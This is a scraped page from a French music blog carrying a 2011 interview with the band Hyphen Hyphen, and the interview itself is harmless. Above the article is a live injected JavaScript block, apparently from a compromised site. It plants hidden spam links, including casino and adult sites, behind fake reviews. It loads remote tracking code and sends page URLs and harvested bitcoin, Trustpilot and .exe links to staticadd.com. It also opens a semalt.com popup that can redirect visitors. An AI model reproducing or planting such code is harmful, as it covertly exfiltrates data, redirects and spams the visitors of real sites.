Logo/* Domain is for sale: fawtuowo@gmail.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Smaller venue but the place is amazing depending on what shows you go to there Edm same as any other every one is family music video production los angeles<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very bad services do not help customers with other services only when you want to buy are all willing to help but for other services. They are heavy nobody helps you istanbul e\u011fitim etkinlikleri<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
After walking past what I was looking for twice. Hunter asked if he could help me find something. We still couldn t but he got Hope and she helped us find what we were looking for. Thanks y all! edu 24 autentificare<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Services decent. Cost avg Tee box \/ visuals above avg Fairways need more work Greens very good. Wear a back brace on the cart paths - woefully uneven gravel, dirt and rock paths. iv for migraine in west palm<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I was very happy with the way Chris dealt with my holiday he was very knowledgeable and polite wangensteen forceps<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The hotel is nice, clean, the service is good, the pool is great (warm water), the breakfast is bounced, lots of choices and tasty. bob \u4f53\u80b2 \u5b98\u7f51<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
So after buying skis, 2 sets of boots and 2 sets of bindings they wont adjust the bindings with out a charge. And got total attitude when i suggested this was realiy customer service. Definitely give this place a miss. smart label printer software windows<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice for a walk however sales arent very sales like o que é um vaporizador de ervas<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Best road trip you will do from dubai . enjoy the desert scenes on ur way . al ain is an ok place if u want to escape from the city stress be sure to visit the oasis and jabal hafit. \u0e2a\u0e39\u0e15\u0e23 \u0e1a\u0e32\u0e04\u0e32\u0e23\u0e48\u0e32 \u0e1f\u0e23\u0e35<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lion park is a must visit... really adventurous experience...loved it lucky cola<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I buyed a car really good people they love to help electric scooter usa<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fun for the whole family. Kids of ALL ages love this place. I even see 80+ year olds enjoying themselves... \u043d\u0430 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0443 \u043f\u043e \u0437\u0430\u0432\u0435\u0449\u0430\u043d\u0438\u044e<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Late night fun. They have a midnight show and gave away some of the placards. Cozy place. dance franchise uk<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Dinner with friends. Service was good and the food was good. No complaints on this outing and would return. \u7dda\u4e0a\u5a1b\u6a02\u57ce\u8a3b\u518a\u9ad4\u9a57\u91d1<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The staff is always helpful and eager to please. The pool area is amazing. The rooms are nice. However, the beds are dated and the pillows offer no support. Otherwise, this must be the nicest hotel in Hamilton for the money. residential pressure cleaning in miami fl<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Absolutely fantastic! My visit to the ER couldn t have been better. Ended up having to be admitted for surgery and I had great care the entire way through! landscape architecture garden<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The food was TOO salty! Even the ceaser salad was salty. what is veneer teeth<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
one of the best appartments in kukatpally on mumbai highway.... near to all places like hitech city, shopping malls, chiropractic rehabilitation center<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
I went to see the Toronto orchestra symphony. Staff here is always very helpful and on the ball. Washrooms were clean. Great venue for a show cafe restaurant otomasyon<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
My dog comes home happy and tired after staying here. The staff is loving and will do most anything to make sure your pet is save and happy. I wouldn t go anyplace else. \u767e \u5bb6 \u6a02 \u56db \u5bf6<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Thanks a bunch to Nick at Airdrie Dodge great experience, love my new Jeep! rehvivahetus<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Such a beautiful spot with a great relaxed atmosphere! Coffee and cakes are delicious and with the play area and outside seating across the road in the strawberry fields, its ideal for family and dog friendly. batumiexpert.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great waitstaff great margaritas Worst Pho I have ever had what color is fff<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Always one of our favorite places to eat in Houston!! Armando is the greatest waiter! Wonderful food, great atmosphere!! sex-paradise.com.ua<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
The food was awesomee as usual... the staff is very very friendly... Apetco<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Pleasant and professional people who are punctual. Mice problem is solved! chrome for web<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The one star is for the great teams at the resort. Major construction taking place in front of north tower. Cant hear yourself think at the pool. We left after one night. editar no premiere<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Smaller venue but the place is amazing depending on what shows you go to there Edm same as any other every one is family music video production los angeles<\/a>.<\/article>
Very bad services do not help customers with other services only when you want to buy are all willing to help but for other services. They are heavy nobody helps you istanbul e\u011fitim etkinlikleri<\/a>.<\/article>
After walking past what I was looking for twice. Hunter asked if he could help me find something. We still couldn t but he got Hope and she helped us find what we were looking for. Thanks y all! edu 24 autentificare<\/a>.<\/article>
Services decent.\r\nCost avg\r\nTee box \/ visuals above avg\r\nFairways need more work\r\nGreens very good.\r\nWear a back brace on the cart paths - woefully uneven gravel, dirt and rock paths. iv for migraine in west palm<\/a>.<\/article>
I was very happy with the way Chris dealt with my holiday he was very knowledgeable and polite wangensteen forceps<\/a>.<\/article>
The hotel is nice, clean, the service is good, the pool is great (warm water), the breakfast is bounced, lots of choices and tasty. bob \u4f53\u80b2 \u5b98\u7f51<\/a>.<\/article>
So after buying skis, 2 sets of boots and 2 sets of bindings they wont adjust the bindings with out a charge. And got total attitude when i suggested this was realiy customer service. Definitely give this place a miss. smart label printer software windows<\/a>.<\/article>
Nice for a walk however sales arent very sales like o que é um vaporizador de ervas<\/a>.<\/article>
Best road trip you will do from dubai . enjoy the desert scenes on ur way . al ain is an ok place if u want to escape from the city stress be sure to visit the oasis and jabal hafit. \u0e2a\u0e39\u0e15\u0e23 \u0e1a\u0e32\u0e04\u0e32\u0e23\u0e48\u0e32 \u0e1f\u0e23\u0e35<\/a>.<\/article>
Lion park is a must visit... really adventurous experience...loved it lucky cola<\/a>.<\/article>
I buyed a car really good people they love to help electric scooter usa<\/a>.<\/article>
Fun for the whole family. Kids of ALL ages love this place. I even see 80+ year olds enjoying themselves... \u043d\u0430 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0443 \u043f\u043e \u0437\u0430\u0432\u0435\u0449\u0430\u043d\u0438\u044e<\/a>.<\/article>
Late night fun. They have a midnight show and gave away some of the placards. Cozy place. dance franchise uk<\/a>.<\/article>
Dinner with friends. Service was good and the food was good. No complaints on this outing and would return. \u7dda\u4e0a\u5a1b\u6a02\u57ce\u8a3b\u518a\u9ad4\u9a57\u91d1<\/a>.<\/article>
The staff is always helpful and eager to please. The pool area is amazing. The rooms are nice. However, the beds are dated and the pillows offer no support. Otherwise, this must be the nicest hotel in Hamilton for the money. residential pressure cleaning in miami fl<\/a>.<\/article>
Absolutely fantastic! My visit to the ER couldn t have been better. Ended up having to be admitted for surgery and I had great care the entire way through! landscape architecture garden<\/a>.<\/article>
The food was TOO salty! Even the ceaser salad was salty. what is veneer teeth<\/a>.<\/article>
one of the best appartments in kukatpally on mumbai highway.... near to all places like hitech city, shopping malls, chiropractic rehabilitation center<\/a>.<\/article>
I went to see the Toronto orchestra symphony. Staff here is always very helpful and on the ball. Washrooms were clean. Great venue for a show cafe restaurant otomasyon<\/a>.<\/article>
My dog comes home happy and tired after staying here. The staff is loving and will do most anything to make sure your pet is save and happy. I wouldn t go anyplace else. \u767e \u5bb6 \u6a02 \u56db \u5bf6<\/a>.<\/article>
Thanks a bunch to Nick at Airdrie Dodge great experience, love my new Jeep! rehvivahetus<\/a>.<\/article>
Such a beautiful spot with a great relaxed atmosphere! Coffee and cakes are delicious and with the play area and outside seating across the road in the strawberry fields, its ideal for family and dog friendly. batumiexpert.com<\/a>.<\/article>
Great waitstaff great margaritas\r\nWorst Pho I have ever had what color is fff<\/a>.<\/article>
Always one of our favorite places to eat in Houston!! Armando is the greatest waiter! Wonderful food, great atmosphere!! sex-paradise.com.ua<\/a>.<\/article>
The food was awesomee as usual... the staff is very very friendly... Apetco<\/a>.<\/article>
Pleasant and professional people who are punctual. Mice problem is solved! chrome for web<\/a>.<\/article>
The one star is for the great teams at the resort. Major construction taking place in front of north tower. Cant hear yourself think at the pool. We left after one night. editar no premiere<\/a>.<\/article><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; /* var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); */ (function(w, d) { var s = d.createElement('script'); d.getElementsByTagName('script')[0].parentNode.appendChild(s); s.setAttribute('data-statinside-id', 21); s.src = 'https://statinside.com/counter.js'; w._siData = w._siData || []; w.statInside = function() {_siData.push(arguments);} })(window, document); statInside('custom', 'shb2'); statInside('heartbeat', false); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Hyphen Hyphen

Entretien avec Hyphen Hyphen

Publié le 25 Oct 2011
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Alors que Le Transistor profitait du sud lors du festival Marsatac, on en a profité pour rencontrer Hyphen Hyphen, le groupe niçois qui défraye la chronique ! Donc on s’est posé avec les quatre jeunes gens qui viennent à peine d’avoir 20 ans, mais savent déjà très bien où il vont !

Hyphen Hyphen

On démarre de plain pied avec Santa qui raconte la soirée qu’ils viennent de passer. « C’était la pire soirée de notre vie. Pour la première fois, on a passé la soirée chacun de notre côté et deux d’entre nous ont fini aux urgences, un autre s’est rétamé à vélo et est resté dehors sur le gravier, le dernier, on lui a glissé un truc dans son verre à son insu. » Pour eux, cette soirée est un signe : ils ne doivent plus jamais se séparer. « Ca fait quasiment 2 ans qu’on passe toutes nos soirées ensemble. Tout nous arrive mais au moins on est ensemble. Et c’est fun. Là on était tout seul, on savait pas quoi faire. Dans les quatre fantastiques, c’est comme ça que le méchant s’y prend, il les sépare ! »

Entretien avec Hyphen Hyphen

Entretien avec Hyphen Hyphen

Ces histoires survoltées correspondent bien à l’image qu’on se fait d’Hyphen Hyphen quand on les voit sur scène. « Les costumes c’est juste pour accentuer l’effet. Mais l’esthétique scénique c’est aussi pour amplifier l’état dans lequel on est naturellement, donc cette hystérie collective. Ce côté tribu, meute, et puis le côté un peu guerrier, l’attaque. » Si leurs costumes leur donnent un look guerrier, ils restent glamour, accumulant paillettes et plumes. « On va pas s’habiller comme des sacs non plus ! Y’en a tellement qui s’habillent normalement, on veut se démarquer à tout prix. Ca crée un impact. Et puis on part d’un truc pas du tout réel. Le message, le sens, le fil du concert c’est un truc plus proche de la mythologie. »

Sur scène, leur costumes leurs permettent de recréer cet univers onirique. « Plus l’image colle à cette utopie, plus on est heureux. Mais on est en train de retravailler justement les costumes avec pas mal d’étudiants des Beaux-Arts, dont nous en l’occurence. » Cela dit, ces costumes ne sont pas le résultat de leur choix d’études. « Au contraire, les Beaux-Arts ça te renferme dans une esthétique conceptuelle. Ca te castre un peu. On a été très déçu justement de cet enseignement. Ils refusent tout autre concept que les leurs. Et du coup, ça devient presque décadent. » La musique est donc un moyen d’exprimer leur créativité. « On a voulu sortir de ce carcan le plus vite possible pour recréer ce qu’on voulait et pas ce que les gens voulaient que l’on pense. On est ravis d’avoir au moins un support tel que la musique sur lequel travailler. Plutôt que sur une concordance d’idées reçues… »

Même s’ils semblent sûr d’eux et de leur projet, les Hyphen Hyphen restent très exigeants envers eux-mêmes. « Avant qu’on prenne la grosse tête, il en faudra du temps. On est jamais satisfaits : on vise le mieux et pour l’instant on y est pas encore. » D’ailleurs, ils ne sont plus en accord avec leur premier EP, Chewbacca I’m Your Mother, sorti il y a à peine huit mois. « Ce qui arrive est bien mieux, c’est encore plus étonnant. On enregistre le deuxième, il sort début 2012 au grand public. On a hâte de le faire écouter parce qu’on est dessus depuis un mois et demi, deux mois. On est en studio tout le temps. »

YouTube Preview Image

Pour composer, Hyphen Hyphen a bizarrement besoin se cloîtrer pour échapper au soleil, un comble pour des Niçois ! « On reste dans le noir, on a aucune perception du temps… En fait, le soleil nous empêche pas de composer, il nous empêche de rentrer dans cet état de transe pour les prises. Au local, y’a pas de fenêtres, donc on est habitués à être dans le noir. Donc on enregistre la nuit, on dort le jour. On essaie d’être en décalé pour recréer cette ambiance un peu folle. » Cet état de transe est nécessaire pour retranscrire leur énergie scénique sur album. « On compose tout d’abord pour la scène et après on doit les reorganiser pour que ça passe sur l’album. Et il faut trois fois plus d’énergie dégagée en studio pour que ça ressorte sur l’album. Nous tout ce qu’on veut c’est qu’il n’y ait pas cette perte d’échelle et de sens entre l’EP et la scène. A nous d’être meilleurs sur scène que sur CD. »

Les Hyphen Hyphen se montrent aussi intransigeants dans leur travail. « Tout ce qui est sur album, on veut que ce soit reproduisible sur scène, sinon c’est hors de question, on l’intégrera pas. Là, tout est composé, il reste tout à décomposer pour recomposer par dessus. C’est difficile de réaliser tout ce qu’on a dans la tête, de trouver le bon son… » Mais c’est pour que leur projet complètement déjanté gagne en cohérence. « On est en pleine période de défusion et on essaie de la cultiver. Nous on adore partir dans tous les sens, mais on aimerait donner un sens à ce non-sens. Tout est en ebullition.  »

Hyphen Hyphen c’est donc tout un concept, sans pour autant que ce soit calculé. « On parle tout le temps en fait. C’est une réflexion mais commune, donc t’as pas l’impression de… c’est plus une discussion. On discute tellement qu’on sait qu’on est d’accord sur le truc informulable qu’on vit. C’est pas formulable mais on sait où on va. On est d’accord à ce sujet, et toutes les discordances c’est le chemin à prendre pour y arriver. » Clairement, ce groupe n’a aucun problème de communication. « Ca vient du fait qu’on échange tout le temps, on écoute plein de trucs, on critique, on donne notre avis sans arrêt. On bavarde beaucoup, mais on parle aussi quand même. »

Et donc, quand on demande si on peut décrire leur musique comme la rencontre de David Bowie avec LCD Soundsystem, ils répondent d’un commun accord : « D’accord pour Major Tom et ‘Dance Yrslf Clean‘. 

Réclame

Le premier EP d’Hyphen Hyphen, Chewbacca I’m Your Mother, est déjà disponible. C’est d’ailleurs eux que vous avez vus en première partie de Mademoiselle K le 21 octobre.

Email, RSS Follow
Email

Remerciements : Brigitte Batcave et Les Tontons Tourneurs

Catégorie : A la une, Entretiens
Artiste(s) : Hyphen Hyphen
Production(s) : Brigitte Batcave, Les Tontons Tourneurs

10 réactions »

  • Agenda – gagnez des places pour Daniel Darc le 5 avril au Trianon | Le Transistor :

    […] on cure sa gueule de bois avec Birdy Hunt (session) et Hyphen Hyphen (interview) à l’heure du déj. Le soir, pour frimer un max, vas au Magic Mirror, y’aura Etienne de Crecy, […]

    Le 26 March 2012 à 12 h 21 min
  • Votez pour le Prix Adami Deezer de Talents | Le Transistor :

    […] avaient remporté l’inRocKs Lab du mois de mai, leur énergie nous a bluffés, et du coup on les a interviewés. Tiens là t’as des tofs de leur live à Marsatac […]

    Le 28 March 2012 à 1 h 39 min
  • Printemps de Bourges – Découvertes | Le Transistor :

    […] Lire l’interview d’Hyphen Hyphen […]

    Le 14 May 2012 à 11 h 37 min
  • Entretien avec The Popopopops | Le Transistor :

    […] voir vraiment Van Pariahs et pouvoir discuter avec eux, et aujourd’hui y’avait Juveniles et Hyphen Hyphen (interview). Ca va au-delà de l’influence musicale, parce qu’on écoute plein de choses… » Ils […]

    Le 30 May 2012 à 10 h 46 min
  • Solidays – Jour 3 | Le Transistor :

    […] Lire l’interview de Hyphen Hyphen […]

    Le 29 June 2012 à 10 h 01 min
  • Entretien avec Shiko Shiko | Le Transistor :

    […] Le groupe sera en concert au Fuzz’Yon de La Roche sur Yon avec Is Tropical (interview) et Hyphen Hyphen (interview). Ils seront aussi le 18 mars au Batofar avec Underground Railroad. Remerciements : Jérémy […]

    Le 16 November 2012 à 14 h 29 min
  • La Fête de la Musique du Fair | Le Transistor :

    […] ouvrir le bal, Hyphen Hyphen dont on entend parler depuis maintenant deux ans (lire l’interview), suivi de Aline, lauréat CQFD 2010 (sous le nom Young Michelin) et dont le premier album Regarde […]

    Le 11 July 2013 à 18 h 03 min
  • Rock en Seine 2012 - deuxième jour - Le Transistor | Le Transistor :

    […] Lire l’interview de Hyphen Hyphen Lire le live report de Hyphen Hyphen au Printemps de Bourges […]

    Le 4 August 2014 à 14 h 42 min
  • La programmation des Solidays 2015 - Le Transistor | Le Transistor :

    […] On ira peut-être manger pendant Zebda pour retrouver ensuite la jolie pop électronique éthérée d’Hyphen Hyphen (lire l’entretien). Ca devrait être ensuite l’heure de l’électro-hiphop des Chinese Man (lire l’interview), […]

    Le 12 June 2015 à 19 h 59 min
  • Gagne ta compilation du FAIR 2016 - Le Transistor | Le Transistor :

    […] le 9 avril avec Odezenne à l’Echonova de Vannes et le 16 avril avec We Are Match (interview) et Hyphen Hyphen (interview) à La Sirène de La […]

    Le 12 March 2016 à 17 h 06 min

Et toi t'en penses quoi ?

A lire aussi

  • Whitney et Uwade au Trabendo
  • Bachar Mar-Khalifé au Café de la Danse
  • Izzy Oram Brown – Mess
  • Structures et Ella A. Thaun à la Maroquinerie
  • Peaches au Trianon

Gallery

IMG_0546_GF img_5149 7-Last-Train-16 SAM_9397